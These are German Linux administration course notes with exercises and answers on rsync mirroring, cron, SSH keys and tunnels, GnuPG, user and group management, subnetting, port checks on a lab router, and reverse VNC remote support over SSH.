
=== Automatisches Synchronisieren von Verzeichnissen

Motivation: Dank des eigenen passphraselosen Schlüssels kann nun leicht einen Master/Slave-Mirror eingerichtet werden. Die Synchonisierung kann später von `cron` ausgeführt werden.

. Ziel- und Quell-Verzeichnis definieren bzw. anlegen:

	.. Lokaler Ausgangspunkt: '~/Dokumente'

	.. Entfernter Zielordner (auf Debian/Rasbian): `mkdir /home/tux/Backup/Dokumente/`

. Installation der Software auf beiden Seiten:
	.. Verschlüsselung via `sshd` (= erfüllte Voraussetzung)
	.. Vom Samba-Team stammendes `rsync`

. Ein einfacher Aufruf, der alle Dateien auf dem Server löscht, die nicht auf der sendenden Seite beim Client existieren kann so aussehen:

----
#rsync  ARCHIVING  MASTER/SLAVE   SENDER=CLIENT               EMPFÄNGER=SERVER
rsync     -a        --delete      ~/Dokumente/      tux@deb7:/home/tux/Backup/Dokumente/
#                                            ^
#                                            |
#                                     Wenn dieser "Directory"-Slash fehlt, wird
#                          der Ordener als Unterverzeichnis in den Zielordner kopiert!
----

.History-Mitschnitt für Experimente

**Anmerkung:** Im folgenden Historyauszug ist beim ersten `rsync`-Aufruf (Zeile 06) weder ein Login-Prompt noch eine Ausgabe, was im Einzelnen getan wird, zu sehen. Beim zweiten Aufruf (Zeile 15) wird die Option _`-v`_ (verbose) verwendet, die für den Testfall mehr Anschaulichkeit bringt.

----
01 [tux@cent7 ~]$ echo 123 > Dokumente/datei01.txt
02 [tux@cent7 ~]$ echo 123 > Dokumente/datei02.txt
03 [tux@cent7 ~]$ echo 123 > Dokumente/datei03.txt
04 [tux@cent7 ~]$
05 [tux@cent7 ~]$
06 [tux@cent7 ~]$ rsync -a --delete ~/Dokumente/ tux@deb7:/home/tux/Backup/Dokumente/
07 [tux@cent7 ~]$
08 [tux@cent7 ~]$
09 [tux@cent7 ~]$ ### Testen, ob das Master-Slave-Verhalten funktioniert; wird eine Datei auf dem
10 [tux@cent7 ~]$ #   Master gelöscht, zieht das eine entsprechende Löschaktion auf dem Slave nach
11 [tux@cent7 ~]$ #   sich:
12 [tux@cent7 ~]$
13 [tux@cent7 ~]$ rm Dokumente/datei01.txt
14 [tux@cent7 ~]$
15 [tux@cent7 ~]$ rsync -a -v --delete ~/Dokumente/ tux@deb7:/home/tux/Backup/Dokumente/
16 sending incremental file list
17 ./
18 deleting datei01.txt
19
20 sent 83 bytes  received 15 bytes  196.00 bytes/sec
21 total size is 8  speedup is 0.08
22 [tux@cent7 ~]$
----



=== Fragen/Aufgaben zur Wiederholung

. Nennen Sie die beiden Dateien (benutzerdefiniert und systemweit), die die clientseitigen Vertrauenstellungen zu ssh-Servern beinhalten.

	a) ~/.ssh/known_hosts
	b) /etc/known_hosts

. Wie lautet die Kommandozeile, mit der Sie sich ein eigenes ssh-Schlüsselpaar erzeugen können?

	ssh-keygen -t rsa -b 4096

. Welchen Namen muss die Public-Key-Datei Ihres eigenen Schlüsselpaares auf dem Server aufweisen, wenn Sie sich dort mittels dieses Paares authentifizieren wollen? (Volle Pfadangabe)

	~/.ssh/authorized_keys

. Wie heißen die Konfigurationsdateien von `sshd` und `ssh`?

	/etc/ssh/sshd_config   ( D = Daemon )
	/etc/ssh/ssh_config

. Mit welcher Direktive kann man in der Konfigurationsdatei des `sshd` einen ssh-Login von _root_ verhindern?

	PermitRootLogin no

. Welchen TCP-Port verwendet standardmäßig der `sshd`?

	22    ( siehe /etc/services )

. Warum kann man den `sshd` nicht vom Inet-Daemon starten lassen?

	Weil er sonst jedesmal beim Initiieren durch Inetd seinen Server-Key neu erzeugen müsste (Zeitaufwand!)

. Erweitern Sie das Firewall-Skript im Header um eine Variable _extif_, weisen Sie ihr den Wert 'eth0' zu.
Fügen Sie weiterhin einen _case_-Zweig namens _main_ (für "maintenance") hinzu und betten dann dort
die folgenden Zeilen ein. Testen Sie als _root_, ob der Firewall-Router damit ins Internet kommt und Updates
installieren kann.

----
### Lokale Prozesse via SPI erlauben
iptables -A INPUT -i $extif -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -o $extif -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
----

Lösung siehe Datei 'fw-simple-0.5'


=== Tunnelbau mit SSH

a) Im einfachsten Falle X11 durchtunneln (X11-Forwarding ist ansonsten unverschlüsselt!)

        ssh -X  tux@cent7

            => nautilus &
            => yast2 &        (bei SuSE Linux)

b) Samba-Web-UI _swat_ absichern:

Swat ist ein leider nicht mehr weiter gepflegter Samba-Konfigurations-Webdienst, der bei

    grep swat /etc/inetd.conf

----
      swat   stream	tcp	nowait.400	root	/usr/sbin/tcpd	/usr/sbin/swat
----

-> Das Starten von _swat_ übernimmt der Superserver...

Der Login in die Weboberfläche als _root_ ist auf der Maschine selbst gefahrlos möglich:

    http://localhost:901/

**Aber Achtung:**

Aber nicht via LAN einloggen! +

ssh-Tunnel als einfacher Benutzer auf einem Rechner im LAN aufbauen:

    ssh -L 9901:localhost:901 samba-server

Dann einfach im Webbrowser dieses Rechners die verschlüsselte Verbindung über den speziell
angegebenen Port 9901 aufbauen:

      http://localhost:9901




=== Verschlüsselung mit GnuPG

	* Schlüssel erzeugen

		gpg --gen-key    (Bestätigung am Schluss mit 'F' [fertig])

	* Public-Key exportieren

		gpg --export --armor -o axelPemmann.pub "Axel Pemmann"

	* Rückrufszertifikat erzeugen

		gpg --gen-revoke -o axelPemmann-revoke.crt "Axel Pemmann"


	  	BESSER: Nicht in eine Datei speichern, die verschlüsselt werden müsste, sondern 			  ausdrucken!

	* Öffentlichen Schlüssel auf den FTP-Sever hochladen

		Bitte in den Ordner '/HandOuts/PemmannAxel/LPI-102' kopieren.

		Oder besser auf einen Keyserver mit `gpg --send-key ...` hochladen.

	* Fingerprint für spätere Authentizitätsprüfung ausgeben (kontra MITM)

		gpg --fingerprint  "Axel Pemmann" > axelPemmann-fingerprint.txt

	* Schlüssel der Kommunikationspartner importieren

		gpg --import gerald.pub

		gpg --import maik.pub

		gpg --keyserver certserver.pgp.com --recv-key  0x47110815

			--> oder suchen via:  http://pgp.mit.edu/

	* Die importierten Schlüssel prüfen und signieren

		gpg --edit-key gerald

			gpg> list    		(Schlüssel auflisten, optional)
			gpg> fpr  gerald    	(Fingerabdruck des Partners ausgeben, optional)

		<--- SNIP: Per Telefon Fingerprint vegleichen  --->

			gpg> sign                (Unterzeichnung (j))
			gpg> check
			gpg> quit

	* Eine Datei verschlüsseln

	    gpg --output datei-richter.txt.gpg  --encrypt --recipient  richter  datei.txt

	* Entschlüsselung der Datei beim Partner

	    gpg --decrypt  datei-pemmann.txt.gpg  [--output <DATEINAME>]


	* Heruntergeladene Dateien verifizieren

	     gpg --verify source.tar.gz


      * Verschlüsselung und Archivierung mit `gpg-zip` (Ganze Verzeichnisse)

	    gpg-zip --encrypt --output GnuPG.cryptdir --gpg-args "-r axel@pemmann.de" GnuPG/


      * Entschlüsseln und Entpacken mit `gpg-zip`

	    cd /tmp
	    gpg-zip --decrypt ~/GnuPG.cryptdir



=== Fragen/Aufgaben zur Vertiefung und Wiederholung

. Mit welcher ssh-Kommandozeilenoption kann der Client X11-Displayforwarding aktivieren?

    * Option: `-X`

. Wie lautet die clientseitige ssh-Kommandozeilenoption, um ausgehend vom lokalen Host einen
Tunnel für unsichere Protokolle einzurichten?

    * Option: `-L`      (`ssh -L 9901:localhost:901  tux@sambaserver`)

. Mit welcher Kommandozeile lässt sich ein neuer GnuPG-Key erzeugen?

    gpg --gen-key

. Wie heißt das Verzeichnis, in dem dabei der persönliche Schlüsselbund gespeichert wird?

    ~/.gnupg

. Signieren Sie eine wichtige Datei in folgenden Schritten:

  * Legen Sie eine Datei namens "einladung.txt" an, schreiben Sie drei fiktive Zeilen hinein.
  Erstellen Sie aus dieser Datei eine Klartextsignaturdatei mittels der folgenden Zeile:

    gpg --clearsign einladung.txt

       Sie benötigen eine Passphrase, um den geheimen Schlüssel zu entsperren.
       Benutzer: "Max Müller (Familienschlüssel) <max.mueller@gmx.net>"
       1024-Bit RSA Schlüssel, ID ECA1F07B, erzeugt 2014-09-12

      Nehmen Sie bitte wahr, dass jetzt zum Signieren der private Schlüssel verwendet wird, den
      Sie mit Ihrer Passphrase entsperren müssen.

      Wie würde die Standard-Option für das Signieren lauten? (-> man bash)  -> `--sign`

. Prüfen Sie die Datenintegrität des eben erstellten neuen 'ASCII Armored files' mit folgender Zeile:

       gpg --verify einladung.txt.asc

       gpg: Signatur vom Mo 15 Sep 2014 08:23:21 CEST mittels RSA-Schlüssel ID ECA1F07B
       gpg: Korrekte Signatur von "Max Müller (Familienschlüssel) <max.mueller@gmx.net>"

. Verändern sie mit einem Editor ein Zeichen in eben dieser Datei - und zwar in dem Teil, +
  der Ihre eigentliche, zu überbringende Botschaft darstellt. Prüfen Sie noch einmal die
  Integrität.

    * Kommando: `vi einladung.txt.asc`     # Ein oder zwei Zeichen ändern
    * Kommando: `gpg --verify einladung.txt.asc`

       gpg: Signatur vom Mo 15 Sep 2014 08:23:21 CEST mittels RSA-Schlüssel ID ECA1F07B
       gpg: FALSCHE Signatur von "Max Müller (Familienschlüssel) <max.mueller@gmx.net>"

== Übungen und weitere Fragen zur Wiederholung

. Begriffserkärungen: Was steht hinter den Begriffen MTA, MUA, MAA und MDA?

  * MTA = Mail Transport Agent	(SMTP-Server)
  * MUA = Mail User Agent	(Mail Reading/Writing)
  * MAA = Mail Access Agent	(Postfache-Server, POP3 / IMAP)
  * MDA = Mail Delivery Agent	(Postbote, Mails sortieren)

. Erstellen Sie auf dem CentOS-System, wo der ssh-Autologin möglich ist, ein Skript namens
'syncmirror', das prüft, ob der im folgenden Einzeiler angegebene
Quell-Verzeichnispfad existiert und ansonsten mit einer Fehlermeldung abbricht. +
+
----
# Master/Slave-Synchronisation: Alle Dateien, die nicht auf dem Client (sendende Seite)
# existieren,  werden auf dem Zielserver gelöscht!

#rsync  ARCHIVING  MASTER/SLAVE   SENDER=CLIENT               EMPFÄNGER=SERVER
rsync     -a        --delete      ~/Dokumente/      tux@deb7:/home/tux/Backup/Dokumente/
#                                            ^
#                                            |
#                                    Wenn dieser endende "Directory"-Slash fehlt, wird
#                              der Ordener als Unterverzeichnis in den Zielordner kopiert!
----
+
Lösung: Siehe Datei 'syncmirror-0.1'
+
. Erstellen Sie als normaler Benutzer auf CentOS einen Cronjob, der aller 2 Stunden außer am Wochenende das Skript 'syncmirror' ausführt.

    crontab -e
+
----
0 */2 * * 1-5  /home/tux/bin/syncmirror-0.1
----



. Erzeugen Sie einen Kommando-alias, der die Zeile `echo "Hallo Welt."` beinhaltet. Testen
Sie, ob er funktioniert und entfernen Sie ihn wieder komplett aus der Prozessumgebung.

    alias welt='echo "Hallo Welt."'

    unalias welt

. Nennen Sie zwei systemweite und drei benutzerabhängige Startupdateien und beschreiben Sie
ihre Aufgaben.

    /etc/profile, /etc/bashrc    => Konfiguration von Variablen: a) der _PATH_,  b) von _PS1_
    ~/.profile, ~/.bashrc, ~/.bash_logout => diese Dateien überschreiben systemweite
         Einstellungen, siehe oben

    Benutzerabhängige Startupdateien für X-Window-System: ~/.xinitrc (xinit, startx),
    ~/.xsession (bei Verwendung eines Displaymanagers)

. Wie kann man den Inhalt der ausgehenden Warteschlange eines MTAs prüfen?

     * Kommando `mailq` sowie Ornderinhalt '/var/spool/mqueue'

. In welches Verzeichnis legt ein MDA wie `procmail` die Post eines Users letztlich hinein?

     /var/spool/mail (im mbox-Format)

. Beschreiben sie den Unterschied zwischen X-Server, Displaymanager und DISPLAY-Variable.

    .. X-Server: Kommunikation mit Grafikkarte
    .. Displaymanager: Grafisches Login
    .. DISPLAY-Variable: Damit wird einer Applikation mitgeteilt, auf welchem Bildschirm sie
	erscheinen soll.

. Wozu braucht man das Kommando `startx`?

    * Manuelles Starten des X-Window-Systemes (geht nur wenn kein Displaymanager läuft)

. Welches weitere Kommando spielt neben `xauth` und der Startupdatei '~/.Xauthority' eine
Rolle, wenn es um die Verwaltung der Zugriffe auf den X-Server geht?

    * xhost (Ohne Parameter: Ausgabe der Zugriffsliste, hier sind die Clients eingetragen,
      die Grfaiken zu diesem X-Server senden dürfen)

. Wie heißen die beiden Konfigurationsdateien für den X-Server (alte und neue Version)?

    * Früher (XFree86): /etc/X11/XF86Config
    * Heute (Xorg): /etc/X11/xorg.conf

. Legen Sie vier neue Unix-Gruppen namens _Apache_, _Blackfeet_, _Cheyenne_ und
_Bleichgesichter_ an. Weisen Sie dabei der ersten Gruppe die ID 3000 zu.

  groupadd -g 3000 Apache
  groupadd Blackfeet
  groupadd Cheyenne
  groupadd Bleichgesichter

. Legen Sie zwei neue Benutzer namens _Winnetou_ und _Shatterhand_ an, wobei _Winnetou_ als
primäre Gruppe _Apache_ und als sekundäre Gruppen die anderen drei erhalten soll.
Dem Benutzer _Shatterhand_  weisen Sie dagegen als primäre Gruppe _users_ zu, sonst
soll er vorerst keiner weiteren Gruppe angehören. Schlussendlich erweitern Sie für ihn
die Gruppenzugehörigkeit: er darf sich nun auch zur Gruppe _Apache_ zählen.


  useradd -m -g Apache -G Blackfeet,Cheyenne,Bleichgesichter Winnetou
  useradd -m -g users Shatterhand
  passwd Winnetou
  passwd Shatterhand
  usermod -G Apache Shatterhand



. Gegeben sei eine Netzwerk-ID von 10.0.0.0/8. Wie viele Bits müssen Sie sich vom Hostanteil borgen,
wenn Sie viele, sehr kleine Unternetze schaffen sollen, die aber jeweils mindestens 10 Hosts beinhalten
müssen. Wie heißt die neue Netzwerkmaske in CIDR und dezimaler Schreibweise?
+
----
2 ^ x = 10
x = 4

2 ^ 4 = 16 - 2 = max. 14 adressierbare Hosts

32 - 4 = 28   =>  /28   bzw. 255.255.255.240
----

. Erkunden Sie, welche TCP- und UDP-Ports Ihr Debian-Router geöffnet hat.
Verwenden Sie dabei lokal arbeitende Kommandos und spezielle Werkzeuge, die Sie
auch remote (von CentOS aus) einsetzen können (vier Tools).

	* netstat -tulpen
	* lsof -i -P
	* nc -zv 172.16.0.1 20-2000
	* nmap 172.16.0.1

. Mit welchen drei Werkzeugen können Sie DNS-Eintrage von Nameservern erfragen?

	* nslookup
	* host
	* dig

. Mit welchen zwei Werkzeugen kann die Schnittstelle _eth0_ temporär deaktiviert werden?

	* ifconfig
	* ifdown

. Wie setzt man eine Standardgateway-Route, wenn der Router die IP-Adresse 10.0.0.1 hat?

	route add default gw 10.0.0.1

. Wie entfernt man sie wieder?

	route del default

. Wie heißen die Konfigurationsdateien des TCP-Wrappers? Listen Sie die Dateinamen
gemäß ihrer Abarbeitsungreihenfolge auf.

	.. /etc/hosts.allow
	.. /etc/hosts.deny

. Wie heißt die Anweisung beim Xinetd, mit der man das Interface-Listening auf die Adresse 10.0.0.2 einschränken kann?

	bind = 10.0.0.2


=== Fernsteuerung mit Linux-Bordmitteln

Anstelle des bekannten und unter Linux leider nicht ohne _wine_ zum Laufen zu bringenden _teamviewer_
lässt sich das Ziel, entfernten Benutzern auf grafischen Wege zu Hilfe zu eilen, recht gut mit
dem VNC-Server _x11vnc_ und dem VNC-Viewer _xvnc4viewer_ erreichen.

Gemäß http://wiki.ubuntuusers.de/VNC#Reverse-VNC-Verbindung kann die Verbindung leicht über einen SSH-Tunnel
abgesichert werden. An dieser Stelle sei nur das Wichtigste herausgestellt:

. Auf dem Rechner der Helfers
+
----
apt-get install xvnc4viewer

vncviewer -listen      ### Als normaler Benutzer!
----

. Auf dem Rechner des Hilfesuchenden
+
----
apt-get install x11vnc

ssh -NfL 5500:localhost:5500 hilflos@IP-ADRESSE-HELFER sleep 2 && x11vnc -connect_or_exit localhost:5500 -scale 9/10
----

**Weiterführende Tipps**

  * Um die Sicherheit zu verbessern, kann beim Hilfesuchenden ein höherer Port
  (z.B. 54666) verwendet werden:
+
----
ssh -p 54666 -NfL ...
----
+
Falls der Helfer hinter einem Router sitzt, gibt er dann diesen Port beim Einrichten des
Port-Forwardings an und leitet die Kommunikation dann auf den eigentlichen Rechner (i.d.R. Port 22)
im LAN weiter.

    * Neben der Verschlüsselung via separatem ssl-Tunnel kann `x11vnc` mit der Option `-ssl` auch
    nativ verschlüsseln, siehe auch:

      ** https://rostblock.wordpress.com/tag/fernwartung/
      ** http://forum.ubuntuusers.de/topic/x11vnc-richtig-einrichten/

    * Leider gibt es bei _dyndns.org_ die dynamische Namensauflösung nicht mehr kostenlos, man kann sich aber
    bei z.B. bei http://selfhost.de (Steht im Speedport-Router der Telekom mit zur Auswahl) registrieren, dort kostet dieser Dienst nichts.
